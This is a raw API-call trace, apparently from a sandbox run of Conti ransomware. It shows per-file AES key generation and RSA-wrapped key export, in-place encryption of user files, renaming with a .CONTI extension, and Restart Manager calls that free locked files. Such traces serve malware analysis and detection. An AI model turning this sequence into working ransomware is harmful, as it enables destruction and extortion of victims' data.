	[0141.123] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\aCiQ7CqKg\\eT-Sa7R3QvIa.wav" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\aciq7cqkg\\et-sa7r3qvia.wav"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\aCiQ7CqKg\\eT-Sa7R3QvIa.wav.CONTI" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\aciq7cqkg\\et-sa7r3qvia.wav.conti")) returned 1
	[0141.123] GetProcessHeap () returned 0x1720000
	[0141.123] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0141.123] CryptDestroyKey (hKey=0x6b7f0b8) returned 1
	[0141.123] GetProcessHeap () returned 0x1720000
	[0141.123] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d7e40 | out: hHeap=0x1720000) returned 1
	[0141.123] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c) returned 1
	[0141.123] CryptGenKey (in: hProv=0x176c1b0, Algid=0x6610, dwFlags=0x1, phKey=0x6b482d0 | out: phKey=0x6b482d0*=0x6b7f0b8) returned 1
	[0141.123] CryptExportKey (in: hKey=0x6b7f0b8, hExpKey=0x175dcb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b482d4, pdwDataLen=0x4e7fc24 | out: pbData=0x6b482d4*, pdwDataLen=0x4e7fc24*=0x20c) returned 1
	[0141.125] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\aCiQ7CqKg\\t33iidNR_QXiNVDIa4.m4a" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\aciq7cqkg\\t33iidnr_qxinvdia4.m4a")) returned 0x20
	[0141.125] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\aCiQ7CqKg\\t33iidNR_QXiNVDIa4.m4a" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\aciq7cqkg\\t33iidnr_qxinvdia4.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0141.125] GetLastError () returned 0x0
	[0141.125] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x4e7fbd0 | out: lpFileSize=0x4e7fbd0*=53046) returned 1
	[0141.125] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xcf36
	[0141.125] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.125] SetEndOfFile (hFile=0x43c) returned 1
	[0141.125] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.125] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.126] WriteFile (in: hFile=0x43c, lpBuffer=0x6b482d4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4e7fbdc, lpOverlapped=0x0 | out: lpBuffer=0x6b482d4*, lpNumberOfBytesWritten=0x4e7fbdc*=0x20c, lpOverlapped=0x0) returned 1
	[0141.132] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.132] ReadFile (in: hFile=0x43c, lpBuffer=0xe470000, nNumberOfBytesToRead=0xcf36, lpNumberOfBytesRead=0x4e7fbfc, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesRead=0x4e7fbfc*=0xcf36, lpOverlapped=0x0) returned 1
	[0141.133] CryptEncrypt (in: hKey=0x6b7f0b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0xcf36, dwBufLen=0x500000 | out: pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0xcf40) returned 1
	[0141.133] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.134] WriteFile (in: hFile=0x43c, lpBuffer=0xe470000*, nNumberOfBytesToWrite=0xcf40, lpNumberOfBytesWritten=0x4e7fc10, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesWritten=0x4e7fc10*=0xcf40, lpOverlapped=0x0) returned 1
	[0141.134] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.134] WriteFile (in: hFile=0x43c, lpBuffer=0x6b482c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4e7fc28, lpOverlapped=0x0 | out: lpBuffer=0x6b482c8*, lpNumberOfBytesWritten=0x4e7fc28*=0x8, lpOverlapped=0x0) returned 1
	[0141.134] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.134] CloseHandle (hObject=0x43c) returned 1
	[0141.134] GetProcessHeap () returned 0x1720000
	[0141.134] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0141.134] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\aCiQ7CqKg\\t33iidNR_QXiNVDIa4.m4a" | out: lpString1="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\aCiQ7CqKg\\t33iidNR_QXiNVDIa4.m4a") returned="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\aCiQ7CqKg\\t33iidNR_QXiNVDIa4.m4a"
	[0141.134] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\aCiQ7CqKg\\t33iidNR_QXiNVDIa4.m4a", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\aCiQ7CqKg\\t33iidNR_QXiNVDIa4.m4a.CONTI") returned="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\aCiQ7CqKg\\t33iidNR_QXiNVDIa4.m4a.CONTI"
	[0141.134] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\aCiQ7CqKg\\t33iidNR_QXiNVDIa4.m4a" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\aciq7cqkg\\t33iidnr_qxinvdia4.m4a"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\aCiQ7CqKg\\t33iidNR_QXiNVDIa4.m4a.CONTI" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\aciq7cqkg\\t33iidnr_qxinvdia4.m4a.conti")) returned 1
	[0141.135] GetProcessHeap () returned 0x1720000
	[0141.135] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0141.135] CryptDestroyKey (hKey=0x6b7f0b8) returned 1
	[0141.135] GetProcessHeap () returned 0x1720000
	[0141.135] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6895898 | out: hHeap=0x1720000) returned 1
	[0141.135] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c) returned 1
	[0141.135] CryptGenKey (in: hProv=0x176c1b0, Algid=0x6610, dwFlags=0x1, phKey=0x6b4ae28 | out: phKey=0x6b4ae28*=0x6b7f0b8) returned 1
	[0141.135] CryptExportKey (in: hKey=0x6b7f0b8, hExpKey=0x175dcb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4ae2c, pdwDataLen=0x4e7fc24 | out: pbData=0x6b4ae2c*, pdwDataLen=0x4e7fc24*=0x20c) returned 1
	[0141.136] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\B-CeYwqL78lV.wav" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\b-ceywql78lv.wav")) returned 0x20
	[0141.136] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\B-CeYwqL78lV.wav" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\b-ceywql78lv.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0141.136] GetLastError () returned 0x0
	[0141.136] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x4e7fbd0 | out: lpFileSize=0x4e7fbd0*=92781) returned 1
	[0141.136] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x16a6d
	[0141.137] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x227, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.137] SetEndOfFile (hFile=0x43c) returned 1
	[0141.137] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.137] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.137] WriteFile (in: hFile=0x43c, lpBuffer=0x6b4ae2c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4e7fbdc, lpOverlapped=0x0 | out: lpBuffer=0x6b4ae2c*, lpNumberOfBytesWritten=0x4e7fbdc*=0x20c, lpOverlapped=0x0) returned 1
	[0141.822] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.822] ReadFile (in: hFile=0x43c, lpBuffer=0xe470000, nNumberOfBytesToRead=0x16a6d, lpNumberOfBytesRead=0x4e7fbfc, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesRead=0x4e7fbfc*=0x16a6d, lpOverlapped=0x0) returned 1
	[0141.823] CryptEncrypt (in: hKey=0x6b7f0b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x16a6d, dwBufLen=0x500000 | out: pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x16a70) returned 1
	[0141.823] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.823] WriteFile (in: hFile=0x43c, lpBuffer=0xe470000*, nNumberOfBytesToWrite=0x16a70, lpNumberOfBytesWritten=0x4e7fc10, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesWritten=0x4e7fc10*=0x16a70, lpOverlapped=0x0) returned 1
	[0141.824] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.824] WriteFile (in: hFile=0x43c, lpBuffer=0x6b4ae20*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4e7fc28, lpOverlapped=0x0 | out: lpBuffer=0x6b4ae20*, lpNumberOfBytesWritten=0x4e7fc28*=0x8, lpOverlapped=0x0) returned 1
	[0141.824] SetFilePointer (in: hFile=0x43c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0141.824] CloseHandle (hObject=0x43c) returned 1
	[0141.824] GetProcessHeap () returned 0x1720000
	[0141.824] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0143.692] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\B-CeYwqL78lV.wav" | out: lpString1="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\B-CeYwqL78lV.wav") returned="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\B-CeYwqL78lV.wav"
	[0143.692] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\B-CeYwqL78lV.wav", lpString2=".CONTI" | out: lpString1="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\B-CeYwqL78lV.wav.CONTI") returned="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\B-CeYwqL78lV.wav.CONTI"
	[0143.692] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\B-CeYwqL78lV.wav" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\b-ceywql78lv.wav"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\xUCHPSVTQTVLG\\B-CeYwqL78lV.wav.CONTI" (normalized: "c:\\users\\fd1hvy\\music\\xuchpsvtqtvlg\\b-ceywql78lv.wav.conti")) returned 1
	[0143.694] GetProcessHeap () returned 0x1720000
	[0143.694] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0143.694] CryptDestroyKey (hKey=0x6b7f0b8) returned 1
	[0143.694] GetProcessHeap () returned 0x1720000
	[0143.694] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c5ae8 | out: hHeap=0x1720000) returned 1
	[0143.694] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c) returned 1
	[0143.694] CryptGenKey (in: hProv=0x176c1b0, Algid=0x6610, dwFlags=0x1, phKey=0x6b4d060 | out: phKey=0x6b4d060*=0x6b7f0b8) returned 1
	[0143.694] CryptExportKey (in: hKey=0x6b7f0b8, hExpKey=0x175dcb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4d064, pdwDataLen=0x4e7fc24 | out: pbData=0x6b4d064*, pdwDataLen=0x4e7fc24*=0x20c) returned 1
	[0143.696] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms" (normalized: "c:\\users\\fd1hvy\\ntuser.dat{fae9930d-933c-11e7-a51d-b808901d6c9b}.tmcontainer00000000000000000002.regtrans-ms")) returned 0x26
	[0143.696] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\NTUSER.DAT{fae9930d-933c-11e7-a51d-b808901d6c9b}.TMContainer00000000000000000002.regtrans-ms" (normalized: "c:\\users\\fd1hvy\\ntuser.dat{fae9930d-933c-11e7-a51d-b808901d6c9b}.tmcontainer00000000000000000002.regtrans-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0143.696] GetLastError () returned 0x20
	[0143.696] RmStartSession () returned 0x0
	[0143.713] RmRegisterResources () returned 0x0
	[0143.718] RmGetList () returned 0xea
	[0151.387] RmShutdown () 

Thread:
	id = 167
	os_tid = 0x1100

	[0093.097] VirtualAlloc (lpAddress=0x0, dwSize=0x500020, flAllocationType=0x3000, flProtect=0x4) returned 0xe980000
	[0093.098] CryptAcquireContextA (in: phProv=0x4fbf8a4, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x4fbf8a4*=0x176c238) returned 1
	[0093.100] CryptImportKey (in: hProv=0x176c238, pbData=0xb8d90, dwDataLen=0x1000, hPubKey=0x0, dwFlags=0x0, phKey=0x4fbf8a0 | out: phKey=0x4fbf8a0*=0x175dcf0) returned 1
	[0093.100] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0093.547] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x17c10c8 | out: phKey=0x17c10c8*=0x175e430) returned 1
	[0093.547] CryptExportKey (in: hKey=0x175e430, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c10cc, pdwDataLen=0x4fbf86c | out: pbData=0x17c10cc*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0093.551] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf")) returned 0x80
	[0093.551] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0093.551] GetLastError () returned 0x0
	[0093.551] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=6309) returned 1
	[0093.551] SetFilePointer (in: hFile=0x33c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x18a5
	[0093.555] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x22f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.555] SetEndOfFile (hFile=0x33c) returned 1
	[0093.556] SetFilePointer (in: hFile=0x33c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.556] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.556] WriteFile (in: hFile=0x33c, lpBuffer=0x17c10cc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x17c10cc*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0093.558] SetFilePointer (in: hFile=0x33c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.558] ReadFile (in: hFile=0x33c, lpBuffer=0xe980000, nNumberOfBytesToRead=0x18a5, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x18a5, lpOverlapped=0x0) returned 1
	[0093.559] CryptEncrypt (in: hKey=0x175e430, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x18a5, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x18b0) returned 1
	[0093.559] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.559] WriteFile (in: hFile=0x33c, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x18b0, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x18b0, lpOverlapped=0x0) returned 1
	[0093.559] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0093.559] WriteFile (in: hFile=0x33c, lpBuffer=0x17c10c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x17c10c0*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0093.559] SetFilePointer (in: hFile=0x33c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0093.559] CloseHandle (hObject=0x33c) returned 1
	[0093.560] GetProcessHeap () returned 0x1720000
	[0093.560] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0093.561] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\588bce7c90097ed212\\1028\\eula.rtf" | out: lpString1="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned="C:\\588bce7c90097ed212\\1028\\eula.rtf"
	[0093.561] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1028\\eula.rtf", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\1028\\eula.rtf.CONTI") returned="C:\\588bce7c90097ed212\\1028\\eula.rtf.CONTI"
	[0093.561] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf.CONTI" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf.conti")) returned 1
	[0093.561] GetProcessHeap () returned 0x1720000
	[0093.561] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0093.561] CryptDestroyKey (hKey=0x175e430) returned 1
	[0093.561] GetProcessHeap () returned 0x1720000
	[0093.561] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173d4b8 | out: hHeap=0x1720000) returned 1
	[0093.561] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0094.244] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x17d61e0 | out: phKey=0x17d61e0*=0x175e5f0) returned 1
	[0094.244] CryptExportKey (in: hKey=0x175e5f0, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d61e4, pdwDataLen=0x4fbf86c | out: pbData=0x17d61e4*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0094.250] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico")) returned 0x80
	[0094.250] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0094.250] GetLastError () returned 0x0
	[0094.250] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=10134) returned 1
	[0094.250] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2796
	[0094.250] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.250] SetEndOfFile (hFile=0x34c) returned 1
	[0094.250] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.250] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.251] WriteFile (in: hFile=0x34c, lpBuffer=0x17d61e4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x17d61e4*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0094.253] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.253] ReadFile (in: hFile=0x34c, lpBuffer=0xe980000, nNumberOfBytesToRead=0x2796, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x2796, lpOverlapped=0x0) returned 1
	[0094.254] CryptEncrypt (in: hKey=0x175e5f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x2796, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x27a0) returned 1
	[0094.254] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.254] WriteFile (in: hFile=0x34c, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x27a0, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x27a0, lpOverlapped=0x0) returned 1
	[0094.254] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0094.254] WriteFile (in: hFile=0x34c, lpBuffer=0x17d61d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x17d61d8*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0094.254] SetFilePointer (in: hFile=0x34c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0094.254] CloseHandle (hObject=0x34c) returned 1
	[0094.255] GetProcessHeap () returned 0x1720000
	[0094.255] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0094.256] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\588bce7c90097ed212\\Graphics\\warn.ico" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned="C:\\588bce7c90097ed212\\Graphics\\warn.ico"
	[0094.256] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Graphics\\warn.ico", lpString2=".CONTI" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\warn.ico.CONTI") returned="C:\\588bce7c90097ed212\\Graphics\\warn.ico.CONTI"
	[0094.256] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico"), lpNewFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico.CONTI" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico.conti")) returned 1
	[0094.256] GetProcessHeap () returned 0x1720000
	[0094.256] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0094.256] CryptDestroyKey (hKey=0x175e5f0) returned 1
	[0094.256] GetProcessHeap () returned 0x1720000
